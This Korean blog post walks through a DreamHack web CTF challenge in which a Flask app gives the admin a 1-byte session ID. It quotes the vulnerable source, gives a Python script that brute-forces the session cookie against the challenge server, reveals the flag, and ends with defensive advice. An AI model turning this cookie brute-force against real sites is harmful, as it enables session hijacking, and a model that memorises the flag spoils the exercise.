[๐ŸŒฑ ์ƒˆ์‹น] admin ์„ธ์…˜ ID๊ฐ€ ๋‹จ 1๋ฐ”์ดํŠธ์˜€๋‹ค โ€” DreamHack session ํ’€์ด

2026-06-25ยท1๋ถ„ ์ฝ๊ธฐยท

[๐ŸŒฑ ์ƒˆ์‹น] admin ์„ธ์…˜ ID๊ฐ€ ๋‹จ 1๋ฐ”์ดํŠธ์˜€๋‹ค โ€” DreamHack session ํ’€์ด

๋กœ๊ทธ์ธ ์„ธ์…˜์„ ์ฟ ํ‚ค ํ•˜๋‚˜๋กœ ์‹๋ณ„ํ•˜๋Š” Flask ์•ฑ. ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž ์„ธ์…˜์€ 4๋ฐ”์ดํŠธ ๋‚œ์ˆ˜๋กœ ๋งŒ๋“ค์ง€๋งŒ, ์„œ๋ฒ„๊ฐ€ ์‹œ์ž‘ํ•  ๋•Œ ๋ฏธ๋ฆฌ ๊น”์•„ ๋‘๋Š” admin ์„ธ์…˜์€ os.urandom(1) โ€” ๋‹จ 1๋ฐ”์ดํŠธ(00~ff, 256๊ฐ€์ง€)๋กœ ๋งŒ๋“ ๋‹ค. sessionid ์ฟ ํ‚ค๋ฅผ 256๋ฒˆ ๊ฐˆ์•„ ๋ผ์šฐ๋ฉด admin ์„ธ์…˜์„ ๊ทธ๋Œ€๋กœ ์ฃผ์›Œ flag๋ฅผ ์ฝ๋Š”๋‹ค.

๋ฌธ์ œ: DreamHack โ€” session ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐ŸŒฑ ์ƒˆ์‹น (Sprout) FLAG: DH{73b3a0ebf47fd6f68ce623853c1d4f138ad91712}

๋กœ๊ทธ์ธํ•˜๋ฉด "Hello guest, you are not admin", admin์œผ๋กœ ๋“ค์–ด๊ฐ€๋ฉด flag๋ฅผ ๋ณด์—ฌ ์ฃผ๋Š” ํ”ํ•œ ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€๋‹ค. ๊ทธ๋Ÿฐ๋ฐ admin ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๊ณง flag๋ผ ์ •๊ณต๋ฒ•์€ ๋ง‰ํ˜€ ์žˆ๋‹ค. ์ง„์งœ ๋นˆํ‹ˆ์€ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์•„๋‹ˆ๋ผ ์„ธ์…˜์„ ์‹๋ณ„ํ•˜๋Š” ์ฟ ํ‚ค ๊ฐ’์— ์žˆ์—ˆ๋‹ค.

๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” ๋กœ๊ทธ์ธ ์ „
๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” ๋กœ๊ทธ์ธ ์ „

๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…session
๋‚œ์ด๋„๐ŸŒฑ ์ƒˆ์‹น (Sprout)
๋ถ„๋ฅ˜Web
์ŠคํƒPython 3.9 ยท Flask ยท Werkzeug 2.0.1
์ œ๊ณตapp.py ์†Œ์Šค + ๋ผ์ด๋ธŒ ์„œ๋ฒ„
ํ•ต์‹ฌ ์ทจ์•ฝ์ ์„œ๋ฒ„ ๋ถ€ํŒ… ์‹œ ๊น”์•„ ๋‘๋Š” admin ์„ธ์…˜ ID๊ฐ€ os.urandom(1) = 1๋ฐ”์ดํŠธ(256๊ฐ€์ง€)๋ฟ

ํ’€์ด๋Š” ์งง๋‹ค. ์†Œ์Šค์—์„œ "์„ธ์…˜์„ ์–ด๋–ป๊ฒŒ ๋งŒ๋“œ๋Š”๊ฐ€"๋งŒ ๋ณด๋ฉด ๋œ๋‹ค. ์ผ๋ฐ˜ ์„ธ์…˜์€ 4๋ฐ”์ดํŠธ์ง€๋งŒ admin ์„ธ์…˜์€ 1๋ฐ”์ดํŠธ๋ผ, sessionid ์ฟ ํ‚ค๋ฅผ 00๋ถ€ํ„ฐ ff๊นŒ์ง€ 256๋ฒˆ ๋ฐ”๊ฟ” ๋ณด๋‚ด๋ฉด ๊ทธ ์•ˆ์— ๋ฐ˜๋“œ์‹œ admin ์„ธ์…˜์ด ๋“ค์–ด ์žˆ๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” ์ฟ ํ‚ค๋กœ ๋กœ๊ทธ์ธ์„ ๊ธฐ์–ตํ•˜๋Š” ๋ฐฉ์‹

HTTP๋Š” ์š”์ฒญ๋งˆ๋‹ค ์—ฐ๊ฒฐ์ด ๋Š๊ธฐ๋Š” ๋ฌด์ƒํƒœ(stateless) ํ”„๋กœํ† ์ฝœ์ด๋ผ, "์ด ์‚ฌ๋žŒ์€ ๋ฐฉ๊ธˆ ๋กœ๊ทธ์ธํ•œ ๊ทธ ์‚ฌ๋žŒ"์ด๋ผ๋Š” ์‚ฌ์‹ค์„ ๋”ฐ๋กœ ๊ธฐ์–ตํ•ด์•ผ ํ•œ๋‹ค. ๊ฐ€์žฅ ํ”ํ•œ ๋ฐฉ๋ฒ•์ด ์„œ๋ฒ„ ์ธก ์„ธ์…˜์ด๋‹ค.

  1. ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•˜๋ฉด ์„œ๋ฒ„๊ฐ€ ์ž„์˜์˜ ์„ธ์…˜ ID๋ฅผ ํ•˜๋‚˜ ๋งŒ๋“ ๋‹ค.
  2. ์„œ๋ฒ„๋Š” ์„ธ์…˜ ID โ†’ ์‚ฌ์šฉ์ž ๋งคํ•‘์„ ๋ฉ”๋ชจ๋ฆฌ(๋˜๋Š” DB)์— ์ €์žฅํ•œ๋‹ค.
  3. ๊ทธ ์„ธ์…˜ ID๋ฅผ Set-Cookie ๋กœ ๋ธŒ๋ผ์šฐ์ €์— ๋‚ด๋ ค๋ณด๋‚ธ๋‹ค.
  4. ์ดํ›„ ๋ธŒ๋ผ์šฐ์ €๋Š” ๋งค ์š”์ฒญ์— Cookie: sessionid=... ๋ฅผ ์ž๋™์œผ๋กœ ๋ถ™์ด๊ณ , ์„œ๋ฒ„๋Š” ๊ทธ ๊ฐ’์œผ๋กœ ์‚ฌ์šฉ์ž๋ฅผ ๋˜์ฐพ๋Š”๋‹ค.

์—ฌ๊ธฐ์„œ ๋ณด์•ˆ์˜ ์ „์ œ๋Š” ๋‹จ ํ•˜๋‚˜๋‹ค. ์„ธ์…˜ ID๋Š” ๋‚จ์ด ์ถ”์ธกํ•  ์ˆ˜ ์—†์–ด์•ผ ํ•œ๋‹ค. ์ถ”์ธก ๊ฐ€๋Šฅํ•˜๋ฉด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ชฐ๋ผ๋„ ๋‚จ์˜ ์„ธ์…˜์„ ๊ทธ๋Œ€๋กœ ๊ฐ€์ ธ๋‹ค ์“ธ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค(์„ธ์…˜ ํ•˜์ด์žฌํ‚น). ๊ทธ๋ž˜์„œ ๋ณดํ†ต ์„ธ์…˜ ID๋Š” ์ถฉ๋ถ„ํžˆ ๊ธด ๋‚œ์ˆ˜(16๋ฐ”์ดํŠธ ์ด์ƒ)๋กœ ๋งŒ๋“ ๋‹ค. ์ด ๋ฌธ์ œ๋Š” ๊ทธ "์ถฉ๋ถ„ํžˆ ๊ธด"์„ admin์—๊ฒŒ๋งŒ ์–ด๊ฒผ๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ

์ œ๊ณต๋œ app.py ๋Š” ํ•œ ํ™”๋ฉด์ด๋‹ค. ํ†ต์งธ๋กœ ๋ณธ๋‹ค.

cat -n extracted/app.py
app.py ์ „์ฒด โ€” ๋ผ์šฐํŠธ ๋‘ ๊ฐœ์™€ ์„ธ์…˜ ์ €์žฅ์†Œ
app.py ์ „์ฒด โ€” ๋ผ์šฐํŠธ ๋‘ ๊ฐœ์™€ ์„ธ์…˜ ์ €์žฅ์†Œ

๋จผ์ € ์‚ฌ์šฉ์ž ๋ชฉ๋ก๊ณผ ์„ธ์…˜ ์ €์žฅ์†Œ. admin์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๊ทธ๋Œ€๋กœ FLAG ๋‹ค.

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}
 
session_storage = {
}

/login ์€ ์•„์ด๋””ยท๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๋งž์œผ๋ฉด ์„ธ์…˜์„ ๋ฐœ๊ธ‰ํ•œ๋‹ค.

if pw == password:
    resp = make_response(redirect(url_for('index')))
    session_id = os.urandom(4).hex()      # ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž: 4๋ฐ”์ดํŠธ = 8 hex
    session_storage[session_id] = username
    resp.set_cookie('sessionid', session_id)
    return resp

/ ๋Š” ์ฟ ํ‚ค์˜ sessionid ๋กœ ์ €์žฅ์†Œ๋ฅผ ์กฐํšŒํ•ด, ๊ทธ ์„ธ์…˜์˜ ์ฃผ์ธ์ด admin์ด๋ฉด flag๋ฅผ ์ฐ๋Š”๋‹ค.

@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')
    return render_template('index.html',
        text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

๋กœ๊ทธ์ธ ์ž์ฒด๋Š” ํ‰๋ฒ”ํ•˜๊ฒŒ ๋™์ž‘ํ•œ๋‹ค. ์•ˆ๋‚ด ์ฃผ์„๋Œ€๋กœ guest / guest ๋กœ ๋“ค์–ด๊ฐ€ ๋ณด๋ฉด, ์„ธ์…˜์€ ์žกํžˆ์ง€๋งŒ admin์ด ์•„๋‹ˆ๋ผ flag๋Š” ์•ˆ ๋ณด์ธ๋‹ค.

๋กœ๊ทธ์ธ ํผ
๋กœ๊ทธ์ธ ํผ
guest / guest ์ž…๋ ฅ
guest / guest ์ž…๋ ฅ
๋กœ๊ทธ์ธ ์„ฑ๊ณต โ€” ๊ทธ๋Ÿฌ๋‚˜ you are not admin
๋กœ๊ทธ์ธ ์„ฑ๊ณต โ€” ๊ทธ๋Ÿฌ๋‚˜ you are not admin

flag๋ฅผ ๋ณด๋ ค๋ฉด ๊ฒฐ๊ตญ admin ์„ธ์…˜์ด ํ•„์š”ํ•˜๋‹ค. ๊ทธ๋Ÿฐ๋ฐ admin ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” flag๋ผ์„œ ๋กœ๊ทธ์ธ์œผ๋กœ๋Š” ๋ชป ๋งŒ๋“ ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด admin ์„ธ์…˜์€ ๋Œ€์ฒด ์–ด๋””์„œ ์ƒ๊ธฐ๋Š”๊ฐ€? ํŒŒ์ผ ๋งจ ์•„๋ž˜, ์„œ๋ฒ„ ์‹œ์ž‘ ์ฝ”๋“œ์— ๋‹ต์ด ์žˆ๋‹ค.

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'   # โ† ๋ถ€ํŒ… ๋•Œ admin ์„ธ์…˜์„ ๋ฏธ๋ฆฌ ๊น”์•„ ๋‘”๋‹ค
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

์„œ๋ฒ„๋Š” ๋ถ€ํŒ…ํ•˜๋ฉด์„œ admin ์„ธ์…˜์„ ํ•˜๋‚˜ ๋ฏธ๋ฆฌ ๋งŒ๋“ค์–ด ์ €์žฅ์†Œ์— ๋„ฃ์–ด ๋‘”๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ๋กœ๊ทธ์ธํ•  ํ•„์š” ์—†์ด, ์ด๋ฏธ ์‚ด์•„ ์žˆ๋Š” admin ์„ธ์…˜์ด ๋ฉ”๋ชจ๋ฆฌ์— ์žˆ๋‹ค๋Š” ๋œป์ด๋‹ค. ๋‚จ์€ ๊ฑด ๊ทธ ์„ธ์…˜ ID๋ฅผ ๋งžํžˆ๋Š” ๊ฒƒ๋ฟ์ด๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ ์ทจ์•ฝ์  โ€” admin ์„ธ์…˜ ID๋Š” ๋‹จ 1๋ฐ”์ดํŠธ

์ผ๋ฐ˜ ์„ธ์…˜๊ณผ admin ์„ธ์…˜์„ ๋งŒ๋“œ๋Š” ์ฝ”๋“œ๋ฅผ ๋‚˜๋ž€ํžˆ ๋‘๋ฉด ์ฐจ์ด๊ฐ€ ํ•œ๋ˆˆ์— ๋ณด์ธ๋‹ค.

์„ธ์…˜์ƒ์„ฑ ์ฝ”๋“œ๊ธธ์ด๊ฒฝ์šฐ์˜ ์ˆ˜
์ผ๋ฐ˜ ์‚ฌ์šฉ์žos.urandom(4).hex()4๋ฐ”์ดํŠธ = 8 hex์•ฝ 43์–ต (2ยณยฒ)
adminos.urandom(1).hex()1๋ฐ”์ดํŠธ = 2 hex256 (2โธ)

os.urandom(1) ์€ ๋ฐ”์ดํŠธ ํ•˜๋‚˜๋ฅผ ๋Œ๋ ค์ฃผ๊ณ , .hex() ๋Š” ๊ทธ๊ฑธ ๋‘ ๊ธ€์ž 16์ง„์ˆ˜ ๋ฌธ์ž์—ด๋กœ ๋ฐ”๊พผ๋‹ค. ์ฆ‰ admin ์„ธ์…˜ ID๊ฐ€ ๊ฐ€์งˆ ์ˆ˜ ์žˆ๋Š” ๊ฐ’์€ 00, 01, ... ff โ€” ์ •ํ™•ํžˆ 256๊ฐœ๊ฐ€ ์ „๋ถ€๋‹ค. ์ง์ ‘ ์ฐ์–ด ๋ณด๋ฉด ๊ฐ์ด ์˜จ๋‹ค.

import os
print([os.urandom(1).hex() for _ in range(6)])      # ๋งค๋ฒˆ ๋‘ ๊ธ€์ž hex
print('์ „์ฒด ๊ฒฝ์šฐ์˜ ์ˆ˜:', len(set(f'{i:02x}' for i in range(256))), '๊ฐœ  (00 ~ ff)')
1๋ฐ”์ดํŠธ์˜ ๊ฒฝ์šฐ์˜ ์ˆ˜ โ€” 256๊ฐœ๊ฐ€ ์ „๋ถ€
1๋ฐ”์ดํŠธ์˜ ๊ฒฝ์šฐ์˜ ์ˆ˜ โ€” 256๊ฐœ๊ฐ€ ์ „๋ถ€

256๊ฐ€์ง€๋ฐ–์— ์•ˆ ๋˜๋Š” ๊ฐ’์€ "๋‚œ์ˆ˜"๋ผ๊ณ  ๋ถ€๋ฅด๊ธฐ ๋ฏผ๋งํ•˜๋‹ค. ์ฟ ํ‚ค sessionid ๋ฅผ 00๋ถ€ํ„ฐ ff๊นŒ์ง€ ํ•œ ๋ฒˆ์”ฉ ๋ฐ”๊ฟ” / ๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด, ๊ทธ์ค‘ ์ •ํ™•ํžˆ ํ•œ ๋ฒˆ์€ ๋ถ€ํŒ… ๋•Œ ๊น”๋ฆฐ admin ์„ธ์…˜๊ณผ ์ผ์น˜ํ•œ๋‹ค. ๊ทธ ์‘๋‹ต์—๋Š” flag is ... ๊ฐ€ ๋ฐ•ํ˜€ ๋‚˜์˜จ๋‹ค.

์ „์ˆ˜ ๋Œ€์ž… ํ๋ฆ„
์ „์ˆ˜ ๋Œ€์ž… ํ๋ฆ„

โ–ถ๐Ÿ› ์‚ฝ์งˆ โ€” admin ๋น„๋ฐ€๋ฒˆํ˜ธ(=flag)๋ถ€ํ„ฐ ๋…ธ๋ ธ๋‹ค๊ฐ€ ๋Œ์•„์˜จ ๊ธธ

์ฒ˜์Œ์—” ์ž์—ฐ์Šค๋Ÿฝ๊ฒŒ ๋กœ๊ทธ์ธ ํผ๋ถ€ํ„ฐ ๋‘๋“œ๋ ธ๋‹ค. admin ์œผ๋กœ ๋“ค์–ด๊ฐ€๋ฉด flag๊ฐ€ ๋ณด์ด๋‹ˆ๊นŒ, admin ๋น„๋ฐ€๋ฒˆํ˜ธ๋งŒ ์•Œ์•„๋‚ด๋ฉด ๋œ๋‹ค๊ณ  ์ƒ๊ฐํ•œ ๊ฒƒ์ด๋‹ค.

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG          # โ† admin ๋น„๋ฐ€๋ฒˆํ˜ธ = ์šฐ๋ฆฌ๊ฐ€ ์ฐพ๋Š” flag ๊ทธ ์ž์ฒด
}

๊ทธ๋Ÿฐ๋ฐ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋น„๊ต๋Š” pw == password ๋‹จ์ˆœ ์ผ์น˜๋ผ SQLiยทNoSQL ์—ฐ์‚ฐ์ž ์ฃผ์ž… ๊ฐ™์€ ์šฐํšŒ๊ฐ€ ๋ผ์–ด๋“ค ํ‹ˆ์ด ์—†๋‹ค. ๊ฒŒ๋‹ค๊ฐ€ admin ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๊ณง flag๋ผ, "๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋‚ด๋ฉด ๋กœ๊ทธ์ธ" ์ด ์•„๋‹ˆ๋ผ "flag๋ฅผ ์•Œ์•„๋‚ด๋ฉด flag๋ฅผ ์–ป์Œ" ์ด๋ผ๋Š” ๋™์–ด๋ฐ˜๋ณต์ด๋‹ค โ€” ์ž…๊ตฌ๊ฐ€ ๋ง‰ํ˜€ ์žˆ๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ์• ์ดˆ์— ์ž…๊ตฌ๊ฐ€ ์•„๋‹ˆ์—ˆ๋‹ค.

๋ฐฉํ–ฅ์„ ๋น„๋ฐ€๋ฒˆํ˜ธ์—์„œ ์„ธ์…˜ ์‹๋ณ„์ž๋กœ ํ‹€๊ณ  ๋‚˜์„œ์•ผ ๋ถ€ํŒ… ์‹œ ๊น”๋ฆฌ๋Š” admin ์„ธ์…˜๊ณผ os.urandom(1) ์ด ๋ˆˆ์— ๋“ค์–ด์™”๋‹ค.



๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡

ํ•  ์ผ์€ ๋ช…ํ™•ํ•˜๋‹ค. sessionid ์ฟ ํ‚ค๋ฅผ 00๋ถ€ํ„ฐ ff๊นŒ์ง€ 256๋ฒˆ ๊ฐˆ์•„ ๋ผ์šฐ๋ฉฐ / ๋ฅผ ์š”์ฒญํ•˜๊ณ , ์‘๋‹ต์— flag๊ฐ€ ๋ณด์ด๋Š” ๊ฐ’์„ ์ฐพ๋Š”๋‹ค.

import requests
 
BASE = "http://host3.dreamhack.games:17749/"
 
s = requests.Session()
for i in range(256):
    sid = f"{i:02x}"           # 00 .. ff
    r = s.get(BASE, cookies={"sessionid": sid}, timeout=5)
    if "DH{" in r.text or "flag is" in r.text:
        for line in r.text.splitlines():
            if "DH{" in line or "flag is" in line:
                print(f"[+] sessionid={sid}  ->  {line.strip()}")
        break

์ด ์„œ๋ฒ„ ์ธ์Šคํ„ด์Šค์—์„œ๋Š” 7c ์—์„œ ๊ฑธ๋ ธ๋‹ค(๋ถ€ํŒ…๋งˆ๋‹ค ๊ฐ’์€ ๋‹ฌ๋ผ์ง„๋‹ค โ€” ์–ด์ฐจํ”ผ 256๋ฒˆ ์•ˆ์— ๋‚˜์˜จ๋‹ค).

solve.py ์‹คํ–‰ โ€” sessionid=7c ์—์„œ admin ์„ธ์…˜ ์ ์ค‘
solve.py ์‹คํ–‰ โ€” sessionid=7c ์—์„œ admin ์„ธ์…˜ ์ ์ค‘

๋ธŒ๋ผ์šฐ์ €๋กœ๋„ ๋˜‘๊ฐ™์ด ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ฐœ๋ฐœ์ž๋„๊ตฌ ์ฝ˜์†”์—์„œ document.cookie = 'sessionid=7c' ๋กœ ์ฟ ํ‚ค๋ฅผ ๋ฐ”๊พธ๊ณ  ์ƒˆ๋กœ๊ณ ์นจํ•˜๋ฉด admin์œผ๋กœ ์ธ์‹๋ผ flag๊ฐ€ ๊ทธ๋Œ€๋กœ ๋‚˜์˜จ๋‹ค.

sessionid=7c ์ฟ ํ‚ค๋กœ admin ์„ธ์…˜ ํƒˆ์ทจ โ€” flag ๋…ธ์ถœ
sessionid=7c ์ฟ ํ‚ค๋กœ admin ์„ธ์…˜ ํƒˆ์ทจ โ€” flag ๋…ธ์ถœ
DH{73b3a0ebf47fd6f68ce623853c1d4f138ad91712}

๐Ÿ“ ๊ฒฐ๋ก 

์„ธ์…˜ ID์˜ ์—”ํŠธ๋กœํ”ผ๊ฐ€ ๊ณง ์ธ์ฆ์˜ ๊ฐ•๋„๋‹ค. ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•„๋ฌด๋ฆฌ ๊ธธ๊ฒŒ ์žก์•„๋„, ๋กœ๊ทธ์ธํ•œ ๊ฒฐ๊ณผ๋ฅผ ๋Œ€์‹  ์‹๋ณ„ํ•˜๋Š” ์„ธ์…˜ ID๊ฐ€ 256๊ฐ€์ง€๋ฟ์ด๋ฉด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์šฐํšŒํ•ด ๋ฒ„๋ฆฐ๋‹ค. ์ด ๋ฌธ์ œ๋Š” ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž์—๊ฒ 4๋ฐ”์ดํŠธ(os.urandom(4))๋ฅผ ์“ฐ๋ฉด์„œ ์ •์ž‘ ๊ฐ€์žฅ ์ค‘์š”ํ•œ admin ์„ธ์…˜์—๋งŒ 1๋ฐ”์ดํŠธ(os.urandom(1))๋ฅผ ์“ด, ํ•œ ๊ธ€์ž์งœ๋ฆฌ ์‹ค์ˆ˜๋‹ค.

๋ฐฉ์–ด๋Š” ๋‹จ์ˆœํ•˜๋‹ค.

  1. ์„ธ์…˜ ID๋Š” ์ถฉ๋ถ„ํžˆ ๊ธธ๊ณ  ์˜ˆ์ธก ๋ถˆ๊ฐ€๋Šฅํ•œ ๋‚œ์ˆ˜๋กœ. ์ตœ์†Œ 16๋ฐ”์ดํŠธ(os.urandom(16) ์ด์ƒ), ํ˜น์€ secrets.token_hex(16) ์ฒ˜๋Ÿผ ์•”ํ˜ธํ•™์  ๋‚œ์ˆ˜ ์ „์šฉ API๋ฅผ ์“ด๋‹ค. 1ยท4๋ฐ”์ดํŠธ์ฒ˜๋Ÿผ ์งง๊ฒŒ ์žก์ง€ ์•Š๋Š”๋‹ค.
  2. ์„ธ์…˜ ๊ด€๋ฆฌ๋Š” ์ง์ ‘ ๋งŒ๋“ค์ง€ ๋ง๊ณ  ๊ฒ€์ฆ๋œ ๊ตฌํ˜„์— ๋งก๊ธด๋‹ค. Flask๋ผ๋ฉด app.secret_key ๋ฅผ ๋‘” ์„œ๋ช… ์„ธ์…˜(flask.session)์ด๋‚˜ Flask-Login ๊ฐ™์€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์“ด๋‹ค โ€” ๊ธธ์ดยท์„œ๋ช…ยท๋งŒ๋ฃŒ๋ฅผ ์•Œ์•„์„œ ์ฑ™๊ฒจ ์ค€๋‹ค.
  3. ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…์„ ํƒ์ง€ยท์ฐจ๋‹จํ•œ๋‹ค. ์งง์€ ์‹œ๊ฐ„์— ์ˆ˜๋ฐฑ ๋ฒˆ ์ฟ ํ‚ค๋งŒ ๋ฐ”๊ฟ” ๊ฐ™์€ ๊ฒฝ๋กœ๋ฅผ ๋‘๋“œ๋ฆฌ๋Š” ์š”์ฒญ์€ ๋น„์ •์ƒ์ด๋‹ค. ์†๋„ ์ œํ•œ(rate limit)๊ณผ ์ด์ƒ ํƒ์ง€๋กœ 256๋ฒˆ์งœ๋ฆฌ ์ „์ˆ˜ ๋Œ€์ž… ์ž์ฒด๋ฅผ ๋ง‰์„ ์ˆ˜ ์žˆ๋‹ค.

์‰ฌ์šด ๋ฌธ์ œ์ง€๋งŒ ๊ตํ›ˆ์€ ๋ฌต์งํ•˜๋‹ค. ์ธ์ฆ์—์„œ "์ถ”์ธก ๋ถˆ๊ฐ€๋Šฅ"์„ ๋ณด์žฅํ•˜๋Š” ๊ฑด ๋น„๋ฐ€๋ฒˆํ˜ธ๋งŒ์ด ์•„๋‹ˆ๋ผ, ๊ทธ ์ธ์ฆ ๊ฒฐ๊ณผ๋ฅผ ๋“ค๊ณ  ๋‹ค๋‹ˆ๋Š” ํ† ํฐ์˜ ์—”ํŠธ๋กœํ”ผ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 4] ํ™”๋ฉด์˜ "10์ดˆ ๋’ค ๊ณต๊ฐœ"๋Š” ํด๋ผ์ด์–ธํŠธ๋งŒ์˜ ์•ฝ์†์ด์—ˆ๋‹ค โ€” DreamHack Test Your Luck ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] ํ™”๋ฉด์˜ "10์ดˆ ๋’ค ๊ณต๊ฐœ"๋Š” ํด๋ผ์ด์–ธํŠธ๋งŒ์˜ ์•ฝ์†์ด์—ˆ๋‹ค โ€” DreamHack Test Your Luck ํ’€์ด

0๋ถ€ํ„ฐ 10000 ์‚ฌ์ด์˜ ์ˆซ์ž๋ฅผ ๋งžํžˆ๋ฉด flag๋ฅผ ์ค€๋‹ค๋Š” ๊ฒŒ์ž„์ด๋‹ค. ์ •๋‹ต์€ ์„œ๋ฒ„ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋œฐ ๋•Œ ๋”ฑ ํ•œ ๋ฒˆ ๋ฝ‘ํ˜€ ์ „์—ญ๋ณ€์ˆ˜์— ๋ฐ•ํžˆ๊ณ , ๊ทธ ๋’ค๋กœ๋Š” ์ ˆ๋Œ€ ๋ฐ”๋€Œ์ง€ ์•Š๋Š”๋‹ค. ํ™”๋ฉด์—๋Š” "๊ฒฐ๊ณผ๋Š” 10์ดˆ ๋’ค์— ๊ณต๊ฐœ๋ฉ๋‹ˆ๋‹ค"๋ผ๊ณ  ์ ํ˜€ ์žˆ์ง€๋งŒ, ๊ทธ 10์ดˆ๋Š” ์„œ๋ฒ„๊ฐ€ ๊ฐ•์ œํ•˜๋Š” ๊ทœ์น™์ด ์•„๋‹ˆ๋ผ ๋ธŒ๋ผ์šฐ์ € ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์˜ setTimeout ํ•œ ์ค„์ผ ๋ฟ์ด๋‹ค. ์ง์ ‘ ์š”์ฒญ์„ ์ฐ”๋Ÿฌ๋ณด๋ฉด ์„œ๋ฒ„๋Š” ๋ฐ€๋ฆฌ์ดˆ ๋‹จ์œ„๋กœ ์ฆ‰์‹œ ๋Œ€๋‹ตํ•œ๋‹ค โ€” ๊ทธ๋Ÿฌ๋ฉด 10001๊ฐ€์ง€ ๋ฟ์ธ ์ •๋‹ต์„ ๊ทธ๋ƒฅ ์ฒ˜์Œ๋ถ€ํ„ฐ ๋๊นŒ์ง€ ๋‹ค ๋ฌผ์–ด๋ณด๋ฉด ๋œ๋‹ค.
#dreamhack#ctf#web+5
2026-07-21#dreamhack +5
[๐Ÿฅ‰ Bronze 4] ๋ถ€๋ถ„ ์ผ์น˜ ๋ˆ„์ถœ๋กœ 4์ž๋ฆฌ ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ ๋ณต์› โ€” DreamHack random-test ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] ๋ถ€๋ถ„ ์ผ์น˜ ๋ˆ„์ถœ๋กœ 4์ž๋ฆฌ ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ ๋ณต์› โ€” DreamHack random-test ํ’€์ด

๋กœ๊ทธ์ธ ํผ์ด ์ „์ฒด ๊ฐ’์ด ์•„๋‹ˆ๋ผ ์ž…๋ ฅ ๊ธธ์ด๋งŒํผ์˜ prefix๋งŒ ๋น„๊ตํ•˜๋ฉด, ํ•œ ๊ธ€์ž์”ฉ ์ •๋‹ต์„ ๋– ๋ณด๋Š” oracle์ด ๋œ๋‹ค. 2.1์–ต ์กฐํ•ฉ์งœ๋ฆฌ ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ+๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ 176๋ฒˆ์˜ ์š”์ฒญ์œผ๋กœ ๋ณต์›ํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป๋Š” ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-04#dreamhack +5
[๐Ÿฅ‰ Bronze 1] ๋ด‡์˜ admin ํ—ค๋”๋ฅผ ๋นŒ๋ ค /whoami ํ„ธ๊ธฐ โ€” DreamHack Are you admin? ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] ๋ด‡์˜ admin ํ—ค๋”๋ฅผ ๋นŒ๋ ค /whoami ํ„ธ๊ธฐ โ€” DreamHack Are you admin? ํ’€์ด

